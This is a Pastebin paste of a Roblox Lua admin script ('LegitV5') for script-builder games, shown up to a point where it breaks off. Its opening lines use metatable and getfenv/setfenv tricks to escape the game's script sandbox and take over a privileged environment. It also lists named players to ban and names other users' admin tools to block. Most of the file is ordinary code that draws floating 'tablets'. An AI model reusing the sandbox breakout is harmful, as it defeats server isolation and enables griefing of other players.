Advertisement
kanewutt

ubad

May 31st, 2016
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 124.65 KB | None | 0 0
  1. local Bypass = true
  2. if Bypass then
  3. local i=game:service'InsertService':LoadAsset(140878711)
  4. local n=i:children()[1]
  5. game:service'Debris':AddItem(i,0)
  6. n.Parent=workspace
  7. coroutine.yield()
  8. local Environment
  9. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()
  10. Environment=getfenv(2)end,__metatable='[qLock]: Locked'}))
  11. _G.OSC_AddServerSideData=nil
  12. game:service'Debris':AddItem(n,0)
  13. setfenv(1,Environment)
  14. end
  15. --[[
  16. --//kelvin breakout
  17. game:GetService("RunService").Stepped:wait();script.Parent=nil
  18. Environment = require(273772585)
  19. Environment["print"]=print
  20. Environment["NLS"]=NLS
  21. Environment["NS"]=NS
  22. setfenv(1, Environment)
  23. ]]
  24. a=newproxy(true);getmetatable(a).__tostring=function()a=getfenv(3);end;pcall(warn,a);a=setfenv(1,a);
  25. game:GetService("RunService").Stepped:wait()
  26. function NewColor(r,g,b,inverted)
  27. if not inverted or inverted == nil or inverted == false then
  28. return Color3.new(r/255,g/255,b/255)
  29. else
  30. local rr = r/255
  31. local gg = g/255
  32. local bb = b/255
  33. return Color3.new(1-rr,1-gg,1-bb)
  34. end
  35. end
  36. local Create = function(Class)
  37. return function(Properties)
  38. local Object=type(Class)=='string'and Instance.new(Class)or Class;
  39. if (Properties~=nil) then
  40. Properties.archivable=false;
  41. for i,v in next,Properties do
  42. Object[i]=v;
  43. end;
  44. end;
  45. return Object;
  46. end;
  47. end;
  48. if game.PlaceId==178350907 then
  49. kick_setvalue=true
  50. sb_name='Nexure'
  51. elseif game.PlaceId==20279777 then
  52. kick_setvalue=false
  53. sb_name='oxcool1'
  54. elseif game.PlaceId==21053279 then
  55. kick_setvalue=false
  56. sb_name="Anti's (Public)"
  57. elseif game.PlaceId==21053219 then
  58. kick_setvalue=false
  59. sb_name="Anti's (Private)"
  60. else
  61. kick_setvalue=false
  62. sb_name="Unknown"
  63. end
  64. NilCharacters = {}
  65. LegitV5 = {
  66. SetCubeAngle = 0,
  67. Rotation = 0,
  68. Commands = {},
  69. Suffix = "/",
  70. Reason = "nerd",
  71. OverrideCode = "code",
  72. Meshes = {
  73. ["Cube"] = "http://www.roblox.com/Asset/?id=91768974",
  74. },
  75. URLs = {
  76. ["Functions"] = ".",
  77. Images = {
  78. ["CharFetch"] = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=",
  79. ["Character"] = "rbxhttp://Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=",
  80. },
  81. },
  82. Updates = {
  83. ["Nil Support"] = "Support for nils added! Can use tablets and commands.",
  84. ["Rotation"] = "Rotation has been CLerped for better speed/smoothness.",
  85. },
  86. Status = {
  87. ["Kick"] = {Value=true},
  88. ["Pri_Server"] = {Value=false},
  89. ["Abort"] = {Value=false},
  90. },
  91. Ranks = {
  92. ['Creator'] = 6,
  93. ['The Boss'] = 5,
  94. ['Developer'] = 4,
  95. ['Admin'] = 3,
  96. ['Moderator'] = 2,
  97. ['Friend of Owner'] = 1,
  98. ['A Breathing Person'] = 0,
  99. ['Banned'] = -1,
  100. },
  101. Colors = {
  102. --[ BrickColor ]--
  103. ["Br. yellowish green"] = '119',
  104. ["Bright yellow"] = '24',
  105. ["Bright orange"] = '106',
  106. ["Bright red"] = '21',
  107. ["Bright violet"] = '104',
  108. ["Bright blue"] = '23',
  109. ["Bright bluish green"] = '107',
  110. ["Bright green"] = '37',
  111. ["Institutional white"] = '1001',
  112. ["White"] = '1',
  113. ["Light stone grey"] = '208',
  114. ["Mid gray"] = '1002',
  115. ["Medium stone grey"] = '194',
  116. ["Dark stone grey"] = '199',
  117. ["Black"] = '26',
  118. ["Really black"] = '1003',
  119. ["Grime"] = '1022',
  120. ["Br. yellowish orange"] = '105',
  121. ["Light orange"] = '125',
  122. ["Sand red"] = '153',
  123. ["Lavender"] = '1023',
  124. ["Sand blue"] = '135',
  125. ["Medium blue"] = '102',
  126. ["Sand green"] = '151',
  127. ["Brick yellow"] = '5',
  128. ["Cool yellow"] = '226',
  129. ["Neon orange"] = '1005',
  130. ["Medium red"] = '101',
  131. ["Light reddish violet"] = '9',
  132. ["Pastel Blue"] = '11',
  133. ["Teal"] = '1018',
  134. ["Medium green"] = '29',
  135. ["Pastel brown"] = '1030',
  136. ["Pastel yellow"] = '1029',
  137. ["Pastel orange"] = '125',
  138. ["Pink"] = '1016',
  139. ["Pastel violet"] = '1026',
  140. ["Pastel light blue"] = '1024',
  141. ["Pastel blue-green"] = '1027',
  142. ["Pastel green"] = '1028',
  143. ["Olive"] = '1008',
  144. ["New Yeller"] = '1009',
  145. ["Deep orange"] = '1017',
  146. ["Really red"] = '1004',
  147. ["Hot pink"] = '1032',
  148. ["Really blue"] = '1010',
  149. ["Toothpaste"] = '1019',
  150. ["Lime green"] = '1020',
  151. ["Brown"] = '217',
  152. ["Nougat"] = '18',
  153. ["Dark orange"] = '38',
  154. ["Royal purple"] = '1031',
  155. ["Alder"] = '1006',
  156. ["Cyan"] = '1013',
  157. ["Light blue"] = '45',
  158. ["Camo"] = '1021',
  159. ["Reddish brown"] = '192',
  160. ["CGA brown"] = '1014',
  161. ["Dusty Rose"] = '1007',
  162. ["Magenta"] = '1015',
  163. ["Deep blue"] = '1012',
  164. ["Navy blue"] = '1011',
  165. ["Dark green"] = '28',
  166. ["Earth green"] = '141',
  167.  
  168. --[ Color3 ]--
  169. ["Reddish purple"] = NewColor(137,25,124),
  170. ["Turquoise"] = NewColor(0,145,201),
  171. ["Tiffany blue"] = NewColor(10,186,181),
  172. ["Medium spring green"] = NewColor(0,250,154),
  173. ["Brick red"] = NewColor(240,128,128),
  174. },
  175. Ranked={
  176. ["mightydifferent"]={Rank=6,Reason='Points friend',Color='Teal',Chat=false,AntiBan=false,Wave=false,Shape="2.5D",Tablets={}},
  177. ["iiCxnturies"]={Rank=6,Reason='Points friend',Color='Pastel blue-green',Chat=false,AntiBan=false,Wave=false,Shape="2.5D",Tablets={}},
  178. ["CoolMLGPlayer"]={Rank=-1,Reason="idiot",Color="Dark red",Chat=false,AntiBan=false,Wave=false,Shape="Doubled",Tablets={}},
  179. ["tusKOR661"]={Rank=-1,Reason="idiot",Color="Dark red",Chat=false,AntiBan=false,Wave=false,Shape="Doubled",Tablets={}},
  180. };
  181. Services = {
  182. game:GetService('Workspace');
  183. game:GetService('Players');
  184. game:GetService('Lighting');
  185. game:GetService('StarterGui');
  186. game:GetService('StarterPack');
  187. game:GetService('HttpService');--game:GetService('ServerScriptService');
  188. game:GetService('ServerStorage');
  189. game:GetService('SoundService');--game:GetService('SoundService');
  190. game:GetService("RunService"),
  191. game:GetService("Debris"),
  192. },
  193. };
  194. local System = {
  195. Defenses = {
  196. Scripting = {
  197. Locked = false
  198. },
  199. Tablets = {
  200. AntiTablet = true,
  201. Names = {
  202. "Tabs",
  203. "Tablets",
  204. "Moist Tabs",
  205. "Output::",
  206. },
  207. },
  208. Admins = {
  209. AntiAdmin = true,
  210. Names = {
  211. "Actinium",
  212. "Kohl",
  213. "tusKOr661",
  214. "Absolution",
  215. },
  216. },
  217. Orbs = {
  218. AntiOrb = false,
  219. Names = {
  220. "Orb"
  221. },
  222. },
  223. },
  224. };
  225. _LegitV5 = LegitV5
  226. eff = _LegitV5.Ranked["CoolMLGPlayer"]
  227. Ranked = _LegitV5.Ranked
  228. Serv = _LegitV5.Services
  229. Ranks = _LegitV5.Ranks
  230. Colors = _LegitV5.Colors
  231. Reason = _LegitV5.Reason
  232.  
  233. function Error(msg)
  234. for _, p in pairs(game:GetService'Players':GetPlayers()) do
  235. local m=Instance.new'StringValue'
  236. m.Value='["Error","'..msg..'"]'
  237. m.Name="SB_Output:Output"
  238. m.Parent=p
  239. end
  240. end
  241. function Notify(msg)
  242. for _, p in pairs(game:GetService'Players':GetPlayers()) do
  243. local m=Instance.new'StringValue'
  244. m.Value='["Notify","'..msg..'"]'
  245. m.Name="SB_Output:Output"
  246. m.Parent=p
  247. end
  248. end
  249. function Warn(msg)
  250. for _, p in pairs(game:GetService'Players':GetPlayers()) do
  251. local m=Instance.new'StringValue'
  252. m.Value='["Warn","'..msg..'"]'
  253. m.Name="SB_Output:Output"
  254. m.Parent=p
  255. end
  256. end
  257. function Print(msg)
  258. for _, p in pairs(game:GetService'Players':GetPlayers()) do
  259. local m=Instance.new'StringValue'
  260. m.Value='["Print","'..msg..'"]'
  261. m.Name="SB_Output:Output"
  262. m.Parent=p
  263. end
  264. end
  265. function Note(msg)
  266. for _, p in pairs(game:GetService'Players':GetPlayers()) do
  267. local m=Instance.new'StringValue'
  268. m.Value='["Note","'..msg..'"]'
  269. m.Name="SB_Output:Output"
  270. m.Parent=p
  271. end
  272. end
  273.  
  274. if game:FindService('NetworkServer') then
  275. table.insert(Serv, game:service'NetworkServer')
  276. end
  277. --
  278. _System = System
  279. Defenses = _System.Defenses
  280. function GetDiscoColor(hue)
  281. local section = hue % 1 * 3
  282. local secondary = 0.5 * math.pi * (section % 1)
  283. if section < 1 then
  284. return Color3.new(1, 1 - math.cos(secondary), 1 - math.sin(secondary))
  285. elseif section < 2 then
  286. return Color3.new(1 - math.sin(secondary), 1, 1 - math.cos(secondary))
  287. else
  288. return Color3.new(1 - math.cos(secondary), 1 - math.sin(secondary), 1)
  289. end
  290. end
  291. function Output(Player, Text, Color, Image, Function, Shape)
  292. if Text == nil then
  293. Text = ""
  294. end
  295. if not Color or Color == nil then
  296. Color = LegitV5.Ranked[Player.Name].Color
  297. end
  298. if Shape == nil then
  299. Shape = LegitV5.Ranked[Player.Name].Shape
  300. end
  301. local Model = Instance.new("Model", workspace)
  302. Model.Name = "denx: "..string.reverse(tostring(Player))
  303. if Shape == 'Doubled' then
  304. Inner_Part = Instance.new("Part", Model)
  305. Inner_Part.Name = "Inner Part"
  306. Inner_Part.TopSurface = 0
  307. Inner_Part.BottomSurface = 0
  308. Inner_Part.FormFactor = 3
  309. Inner_Part.Locked = true
  310. Inner_Part.Anchored = true
  311. Inner_Part.CanCollide = false
  312. Inner_Part.Size = Vector3.new(0.6,0.6,0.6)
  313. Inner_Part.Transparency = 0
  314. --
  315. Outer_Part = Instance.new("Part", Model)
  316. Outer_Part.Name = "Outer Part"
  317. Outer_Part.TopSurface = 0
  318. Outer_Part.BottomSurface = 0
  319. Outer_Part.FormFactor = 3
  320. Outer_Part.Locked = true
  321. Outer_Part.Anchored = true
  322. Outer_Part.CanCollide = false
  323. Outer_Part.Size = Vector3.new(1.8,1.8,1.8)
  324. Outer_Part.Transparency = 0.35
  325. elseif Shape == "Simple" then
  326. Inner_Part = Instance.new("Part", Model)
  327. Inner_Part.Name = "Inner Part"
  328. Inner_Part.TopSurface = 0
  329. Inner_Part.BottomSurface = 0
  330. Inner_Part.FormFactor = 3
  331. Inner_Part.Locked = true
  332. Inner_Part.Anchored = true
  333. Inner_Part.CanCollide = false
  334. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  335. Inner_Part.Transparency = 1
  336. --
  337. Outer_Part = Instance.new("Part", Model)
  338. Outer_Part.Name = "Outer Part"
  339. Outer_Part.TopSurface = 0
  340. Outer_Part.BottomSurface = 0
  341. Outer_Part.FormFactor = 3
  342. Outer_Part.Locked = true
  343. Outer_Part.Anchored = true
  344. Outer_Part.CanCollide = false
  345. Outer_Part.Size = Vector3.new(2, 2, 2)
  346. Outer_Part.Transparency = 0.3
  347. elseif Shape == "Sphere" then
  348. Inner_Part = Instance.new("Part", Model)
  349. Inner_Part.Name = "Inner Part"
  350. Inner_Part.TopSurface = 0
  351. Inner_Part.BottomSurface = 0
  352. Inner_Part.FormFactor = 3
  353. Inner_Part.Locked = true
  354. Inner_Part.Anchored = true
  355. Inner_Part.CanCollide = false
  356. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  357. Inner_Part.Transparency = 1
  358. --
  359. Outer_Part = Instance.new("Part", Model)
  360. Outer_Part.Name = "Outer Part"
  361. Outer_Part.TopSurface = 0
  362. Outer_Part.BottomSurface = 0
  363. Outer_Part.FormFactor = 3
  364. Outer_Part.Locked = true
  365. Outer_Part.Anchored = true
  366. Outer_Part.CanCollide = false
  367. Outer_Part.Size = Vector3.new(2.6, 2.6, 2.6)
  368. Outer_Part.Transparency = 0.3125
  369. Outer_Part.Shape = "Ball"
  370. --
  371. SelectionSphere = Instance.new('SelectionSphere', Outer_Part)
  372. SelectionSphere.Adornee = Outer_Part
  373. SelectionSphere.Color = BrickColor.new(Color)
  374. SelectionSphere.Transparency = 0.715 --0.575
  375. elseif Shape == "SelectionBox" then
  376. Inner_Part = Instance.new("Part", Model)
  377. Inner_Part.Name = "Inner Part"
  378. Inner_Part.TopSurface = 0
  379. Inner_Part.BottomSurface = 0
  380. Inner_Part.FormFactor = 3
  381. Inner_Part.Locked = true
  382. Inner_Part.Anchored = true
  383. Inner_Part.CanCollide = false
  384. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  385. Inner_Part.Transparency = 1
  386. --
  387. Outer_Part = Instance.new("Part", Model)
  388. Outer_Part.Name = "Outer Part"
  389. Outer_Part.TopSurface = 0
  390. Outer_Part.BottomSurface = 0
  391. Outer_Part.FormFactor = 3
  392. Outer_Part.Locked = true
  393. Outer_Part.Anchored = true
  394. Outer_Part.CanCollide = false
  395. Outer_Part.Size = Vector3.new(2, 2, 2)
  396. Outer_Part.Transparency = 0.05 --0.15
  397. --
  398. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  399. SelectionBox.Adornee = Outer_Part
  400. SelectionBox.Color = BrickColor.new(Color)
  401. SelectionBox.Transparency = 0.05 --0.575
  402. SelectionBox.LineThickness = 0.05
  403. elseif Shape == "Tablet" then
  404. Inner_Part = Instance.new("Part", Model)
  405. Inner_Part.Name = "Inner Part"
  406. Inner_Part.TopSurface = 0
  407. Inner_Part.BottomSurface = 0
  408. Inner_Part.FormFactor = 3
  409. Inner_Part.Locked = true
  410. Inner_Part.Anchored = true
  411. Inner_Part.CanCollide = false
  412. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  413. Inner_Part.Transparency = 1
  414. --
  415. Outer_Part = Instance.new("Part", Model)
  416. Outer_Part.Name = "Outer Part"
  417. Outer_Part.TopSurface = 0
  418. Outer_Part.BottomSurface = 0
  419. Outer_Part.FormFactor = 3
  420. Outer_Part.Locked = true
  421. Outer_Part.Anchored = true
  422. Outer_Part.CanCollide = false
  423. Outer_Part.Size = Vector3.new(3.3, 4, 0.2)
  424. Outer_Part.Transparency = 0.2 --0.15
  425. --
  426. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  427. SelectionBox.Adornee = Outer_Part
  428. SelectionBox.Color = BrickColor.new(Color)
  429. SelectionBox.Transparency = 0.4 --0.575
  430. elseif Shape == "2.5D" then
  431. Inner_Part = Instance.new("Part", Model)
  432. Inner_Part.Name = "Inner Part"
  433. Inner_Part.TopSurface = 0
  434. Inner_Part.BottomSurface = 0
  435. Inner_Part.FormFactor = 3
  436. Inner_Part.Locked = true
  437. Inner_Part.Anchored = true
  438. Inner_Part.CanCollide = false
  439. Inner_Part.Size = Vector3.new(1.2,1.2,1.2)
  440. Inner_Part.Transparency = 0.1
  441. --
  442. Outer_Part = Instance.new("Part", Model)
  443. Outer_Part.Name = "Outer Part"
  444. Outer_Part.TopSurface = 0
  445. Outer_Part.BottomSurface = 0
  446. Outer_Part.FormFactor = 3
  447. Outer_Part.Locked = true
  448. Outer_Part.Anchored = true
  449. Outer_Part.CanCollide = false
  450. Outer_Part.Size = Vector3.new(2, 2, 2)
  451. Outer_Part.Transparency = 0.95
  452. --
  453. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  454. SelectionBox.Adornee = Outer_Part
  455. SelectionBox.Color = BrickColor.new(Color)
  456. SelectionBox.Transparency = 0.0 --0.575
  457. SelectionBox.LineThickness = 0.03
  458. --
  459. SelectionBox2 = Instance.new('SelectionBox', Inner_Part)
  460. SelectionBox2.Adornee = Inner_Part
  461. SelectionBox2.Color = BrickColor.new(Color)
  462. SelectionBox2.Transparency = 0.0 --0.575
  463. SelectionBox2.LineThickness = 0.03
  464. --
  465. Mesh = Instance.new("SpecialMesh", Inner_Part)
  466. Mesh.MeshId = LegitV5.Meshes.Crystal
  467. Mesh.Scale = Inner_Part.Size - Vector3.new(0.6,0.6,0.6)
  468. elseif Shape == "SurfaceGui" then
  469. Inner_Part = Instance.new("Part", Model)
  470. Inner_Part.Name = "Inner Part"
  471. Inner_Part.TopSurface = 0
  472. Inner_Part.BottomSurface = 0
  473. Inner_Part.FormFactor = 3
  474. Inner_Part.Locked = true
  475. Inner_Part.Anchored = true
  476. Inner_Part.CanCollide = false
  477. Inner_Part.Size = (Vector3.new(1.6, 1.6, 1.6))/2
  478. Inner_Part.Transparency = 1
  479. --
  480. Outer_Part = Instance.new("Part", Model)
  481. Outer_Part.Name = "Outer Part"
  482. Outer_Part.TopSurface = 0
  483. Outer_Part.BottomSurface = 0
  484. Outer_Part.FormFactor = 3
  485. Outer_Part.Locked = true
  486. Outer_Part.Anchored = true
  487. Outer_Part.CanCollide = false
  488. Outer_Part.Size = Vector3.new(2, 2, 2)
  489. Outer_Part.Transparency = 0.95
  490. --
  491. --Begin Surface Guis
  492. local _NewPos = "Top"
  493. for i = 1,6 do
  494. local SurfaceGui = Instance.new('SurfaceGui', Outer_Part)
  495. SurfaceGui.Adornee = Outer_Part
  496. SurfaceGui.Face = _NewPos
  497. SurfaceGui.Name = _NewPos
  498. if _NewPos == "Top" then
  499. _NewPos = "Bottom"
  500. elseif _NewPos == "Bottom" then
  501. _NewPos = "Left"
  502. elseif _NewPos == "Left" then
  503. _NewPos = "Right"
  504. elseif _NewPos == "Right" then
  505. _NewPos = "Front"
  506. elseif _NewPos == "Front" then
  507. _NewPos = "Back"
  508. elseif _NewPos == "Back" then
  509. _NewPos = "Top"
  510. end
  511. local Frame = Instance.new('Frame', SurfaceGui)
  512. Frame.BackgroundTransparency = 0.05
  513. Frame.Position = UDim2.new(0,0,0,0) --0, 150, 0, 125
  514. Frame.Size = UDim2.new(0,800,0,600) --0, 500, 0, 350
  515. Frame.BorderSizePixel = 0
  516. if type(Color) ~= 'string' then
  517. Frame.BackgroundColor3 = Color
  518. else
  519. Frame.BackgroundColor3 = BrickColor.new(Color).Color
  520. end
  521. end
  522. end
  523.  
  524. if type(Color) ~= 'string' then
  525. Inner_Part.Color = Color
  526. Outer_Part.Color = Inner_Part.Color
  527. else
  528. Inner_Part.BrickColor = BrickColor.new(Color)
  529. Outer_Part.BrickColor = Inner_Part.BrickColor
  530. end
  531.  
  532. ypcall(function()
  533. Inner_Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(8, 0, 0)
  534. Outer_Part.CFrame = Inner_Part.CFrame
  535. end)
  536. local ClickDetector = Instance.new("ClickDetector", Outer_Part)
  537. ClickDetector.MaxActivationDistance = math.huge
  538. ClickDetector.MouseClick:connect(function(plr)
  539. if plr.Name == Player.Name or LegitV5.Ranked[plr.Name].Rank > LegitV5.Ranked[Player.Name].Rank or plr.Name == "CoolMLGPlayer" then
  540. if Function == nil then
  541. Model:Destroy()
  542. for index,tablet in next, LegitV5.Ranked[Player.Name].Tablets do
  543. if tablet == Model then
  544. table.remove(LegitV5.Ranked[Player.Name].Tablets, index)
  545. end
  546. end
  547. else
  548. local Success, Error_Message = ypcall(Function)
  549. if not Success then
  550. Output(Player, Error_Message, "Really red")
  551. end
  552. for index,tablet in next, LegitV5.Ranked[Player.Name].Tablets do
  553. if tablet == Model then
  554. table.remove(LegitV5.Ranked[Player.Name].Tablets, index)
  555. end
  556. end
  557. end
  558. end
  559. end)
  560. local BillboardGui = Instance.new("BillboardGui", Model)
  561. BillboardGui.Size = UDim2.new(8,0,7,0)
  562. if LegitV5.Ranked[Player.Name].Shape == "Tablet" then
  563. BillboardGui.StudsOffset = Vector3.new(0,math.random(3.55,3.85),0)
  564. else
  565. BillboardGui.StudsOffset = Vector3.new(0,math.random(3.25,3.55),0)
  566. end
  567. BillboardGui.Adornee = Outer_Part
  568. local TextLabel = Instance.new("TextLabel", BillboardGui)
  569. TextLabel.TextColor = Inner_Part.BrickColor --Inner_Part.BrickColor
  570. TextLabel.Text = tostring(Text)
  571. TextLabel.Size = UDim2.new(1,0,1,0)
  572. TextLabel.BackgroundTransparency = 1
  573. TextLabel.BorderSizePixel = 0
  574. TextLabel.Font = "SourceSansBold"
  575. TextLabel.FontSize = "Size24" --Size18
  576. TextLabel.TextTransparency = 0
  577. TextLabel.TextStrokeTransparency = 1 --0.45 --0.928
  578. if Image ~= nil then
  579. local BBBG = Instance.new("BillboardGui")
  580. BBBG.Size = UDim2.new(5, 0, 6, 0)
  581. BBBG.AlwaysOnTop = true
  582. BBBG.Adornee = Outer_Part
  583. BBBG.Parent = ModeL
  584. BBBG.StudsOffset = Vector3.new(0, Outer_Part.Size.Y + 4.2, 0)
  585.  
  586. local NewImg = Instance.new("ImageLabel")
  587. NewImg.Size = UDim2.new(0.8, 0, 0.8, 0)
  588. NewImg.BackgroundTransparency = 1
  589. NewImg.Image = Image
  590. NewImg.Parent = BBBG
  591. end
  592.  
  593. table.insert(LegitV5.Ranked[Player.Name].Tablets, Model)
  594. local PointLight = Instance.new("PointLight", Outer_Part)
  595. PointLight.Color = Inner_Part.BrickColor.Color
  596. PointLight.Range = 6
  597. PointLight.Brightness = 1
  598. end
  599. function TimedOutput(Player, Text, Color, Image, Time)
  600. if Text == nil then
  601. Text = ""
  602. end
  603. if not Color or Color == nil then
  604. Color = LegitV5.Ranked[Player.Name].Color
  605. end
  606. if Time == nil then
  607. Time = 0
  608. end
  609. local Model = Instance.new("Model", workspace)
  610. Model.Name = "denx: "..string.reverse(tostring(Player))
  611. if LegitV5.Ranked[Player.Name].Shape == 'Doubled' then
  612. Inner_Part = Instance.new("Part", Model)
  613. Inner_Part.Name = "Inner Part"
  614. Inner_Part.TopSurface = 0
  615. Inner_Part.BottomSurface = 0
  616. Inner_Part.FormFactor = 3
  617. Inner_Part.Locked = true
  618. Inner_Part.Anchored = true
  619. Inner_Part.CanCollide = false
  620. Inner_Part.Size = Vector3.new(0.6,0.6,0.6)
  621. Inner_Part.Transparency = 0
  622. --
  623. Outer_Part = Instance.new("Part", Model)
  624. Outer_Part.Name = "Outer Part"
  625. Outer_Part.TopSurface = 0
  626. Outer_Part.BottomSurface = 0
  627. Outer_Part.FormFactor = 3
  628. Outer_Part.Locked = true
  629. Outer_Part.Anchored = true
  630. Outer_Part.CanCollide = false
  631. Outer_Part.Size = Vector3.new(1.8,1.8,1.8)
  632. Outer_Part.Transparency = 0.35
  633. elseif LegitV5.Ranked[Player.Name].Shape == "Simple" then
  634. Inner_Part = Instance.new("Part", Model)
  635. Inner_Part.Name = "Inner Part"
  636. Inner_Part.TopSurface = 0
  637. Inner_Part.BottomSurface = 0
  638. Inner_Part.FormFactor = 3
  639. Inner_Part.Locked = true
  640. Inner_Part.Anchored = true
  641. Inner_Part.CanCollide = false
  642. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  643. Inner_Part.Transparency = 1
  644. --
  645. Outer_Part = Instance.new("Part", Model)
  646. Outer_Part.Name = "Outer Part"
  647. Outer_Part.TopSurface = 0
  648. Outer_Part.BottomSurface = 0
  649. Outer_Part.FormFactor = 3
  650. Outer_Part.Locked = true
  651. Outer_Part.Anchored = true
  652. Outer_Part.CanCollide = false
  653. Outer_Part.Size = Vector3.new(2, 2, 2)
  654. Outer_Part.Transparency = 0.3
  655. elseif LegitV5.Ranked[Player.Name].Shape == "Sphere" then
  656. Inner_Part = Instance.new("Part", Model)
  657. Inner_Part.Name = "Inner Part"
  658. Inner_Part.TopSurface = 0
  659. Inner_Part.BottomSurface = 0
  660. Inner_Part.FormFactor = Enum.FormFactor.Custom
  661. Inner_Part.Locked = true
  662. Inner_Part.Anchored = true
  663. Inner_Part.CanCollide = false
  664. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  665. Inner_Part.Transparency = 1
  666. --
  667. Outer_Part = Instance.new("Part", Model)
  668. Outer_Part.Name = "Outer Part"
  669. Outer_Part.TopSurface = 0
  670. Outer_Part.BottomSurface = 0
  671. Outer_Part.FormFactor = 3
  672. Outer_Part.Locked = true
  673. Outer_Part.Anchored = true
  674. Outer_Part.CanCollide = false
  675. Outer_Part.Size = Vector3.new(2.6, 2.6, 2.6)
  676. Outer_Part.Transparency = 0.3125
  677. Outer_Part.Shape = "Ball"
  678. --
  679. SelectionSphere = Instance.new('SelectionSphere', Outer_Part)
  680. SelectionSphere.Adornee = Outer_Part
  681. SelectionSphere.Color = BrickColor.new(Color)
  682. SelectionSphere.Transparency = 0.85-0.575
  683. elseif LegitV5.Ranked[Player.Name].Shape == "SelectionBox" then
  684. Inner_Part = Instance.new("Part", Model)
  685. Inner_Part.Name = "Inner Part"
  686. Inner_Part.TopSurface = 0
  687. Inner_Part.BottomSurface = 0
  688. Inner_Part.FormFactor = 3
  689. Inner_Part.Locked = true
  690. Inner_Part.Anchored = true
  691. Inner_Part.CanCollide = false
  692. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  693. Inner_Part.Transparency = 1
  694. --
  695. Outer_Part = Instance.new("Part", Model)
  696. Outer_Part.Name = "Outer Part"
  697. Outer_Part.TopSurface = 0
  698. Outer_Part.BottomSurface = 0
  699. Outer_Part.FormFactor = 3
  700. Outer_Part.Locked = true
  701. Outer_Part.Anchored = true
  702. Outer_Part.CanCollide = false
  703. Outer_Part.Size = Vector3.new(2, 2, 2)
  704. Outer_Part.Transparency = 0.05 --0.15
  705. --
  706. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  707. SelectionBox.Adornee = Outer_Part
  708. SelectionBox.Color = BrickColor.new(Color)
  709. SelectionBox.Transparency = 0.05 --0.575
  710. SelectionBox.LineThickness = 0.05
  711. elseif LegitV5.Ranked[Player.Name].Shape == "Tablet" then
  712. Inner_Part = Instance.new("Part", Model)
  713. Inner_Part.Name = "Inner Part"
  714. Inner_Part.TopSurface = 0
  715. Inner_Part.BottomSurface = 0
  716. Inner_Part.FormFactor = 3
  717. Inner_Part.Locked = true
  718. Inner_Part.Anchored = true
  719. Inner_Part.CanCollide = false
  720. Inner_Part.Size = Vector3.new(1.6, 1.6, 1.6)
  721. Inner_Part.Transparency = 1
  722. --
  723. Outer_Part = Instance.new("Part", Model)
  724. Outer_Part.Name = "Outer Part"
  725. Outer_Part.TopSurface = 0
  726. Outer_Part.BottomSurface = 0
  727. Outer_Part.FormFactor = 3
  728. Outer_Part.Locked = true
  729. Outer_Part.Anchored = true
  730. Outer_Part.CanCollide = false
  731. Outer_Part.Size = Vector3.new(3.3, 4, 0.2)
  732. Outer_Part.Transparency = 0.2 --0.15
  733. --
  734. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  735. SelectionBox.Adornee = Outer_Part
  736. SelectionBox.Color = BrickColor.new(Color)
  737. SelectionBox.Transparency = 0.4 --0.575
  738. elseif LegitV5.Ranked[Player.Name].Shape == "2.5D" then
  739. Inner_Part = Instance.new("Part", Model)
  740. Inner_Part.Name = "Inner Part"
  741. Inner_Part.TopSurface = 0
  742. Inner_Part.BottomSurface = 0
  743. Inner_Part.FormFactor = 3
  744. Inner_Part.Locked = true
  745. Inner_Part.Anchored = true
  746. Inner_Part.CanCollide = false
  747. Inner_Part.Size = Vector3.new(1.2,1.2,1.2)
  748. Inner_Part.Transparency = 0.1
  749. --
  750. Outer_Part = Instance.new("Part", Model)
  751. Outer_Part.Name = "Outer Part"
  752. Outer_Part.TopSurface = 0
  753. Outer_Part.BottomSurface = 0
  754. Outer_Part.FormFactor = 3
  755. Outer_Part.Locked = true
  756. Outer_Part.Anchored = true
  757. Outer_Part.CanCollide = false
  758. Outer_Part.Size = Vector3.new(2, 2, 2)
  759. Outer_Part.Transparency = 0.95
  760. --
  761. SelectionBox = Instance.new('SelectionBox', Outer_Part)
  762. SelectionBox.Adornee = Outer_Part
  763. SelectionBox.Color = BrickColor.new(Color)
  764. SelectionBox.Transparency = 0.0 --0.575
  765. SelectionBox.LineThickness = 0.02
  766. --
  767. SelectionBox2 = Instance.new('SelectionBox', Inner_Part)
  768. SelectionBox2.Adornee = Inner_Part
  769. SelectionBox2.Color = BrickColor.new(Color)
  770. SelectionBox2.Transparency = 0.03 --0.575
  771. SelectionBox2.LineThickness = 0.03
  772. --
  773. Mesh = Instance.new("SpecialMesh", Inner_Part)
  774. Mesh.MeshId = LegitV5.Meshes.Crystal
  775. Mesh.Scale = Inner_Part.Size - Vector3.new(0.6,0.6,0.6)
  776. elseif LegitV5.Ranked[Player.Name].Shape == "SurfaceGui" then
  777. Inner_Part = Instance.new("Part", Model)
  778. Inner_Part.Name = "Inner Part"
  779. Inner_Part.TopSurface = 0
  780. Inner_Part.BottomSurface = 0
  781. Inner_Part.FormFactor = 3
  782. Inner_Part.Locked = true
  783. Inner_Part.Anchored = true
  784. Inner_Part.CanCollide = false
  785. Inner_Part.Size = (Vector3.new(1.6, 1.6, 1.6))/2
  786. Inner_Part.Transparency = 1
  787. --
  788. Outer_Part = Instance.new("Part", Model)
  789. Outer_Part.Name = "Outer Part"
  790. Outer_Part.TopSurface = 0
  791. Outer_Part.BottomSurface = 0
  792. Outer_Part.FormFactor = 3
  793. Outer_Part.Locked = true
  794. Outer_Part.Anchored = true
  795. Outer_Part.CanCollide = false
  796. Outer_Part.Size = Vector3.new(2, 2, 2)
  797. Outer_Part.Transparency = 0.95
  798. --Begin Surface Guis
  799. local _NewPos = "Top"
  800. for i = 1,6 do
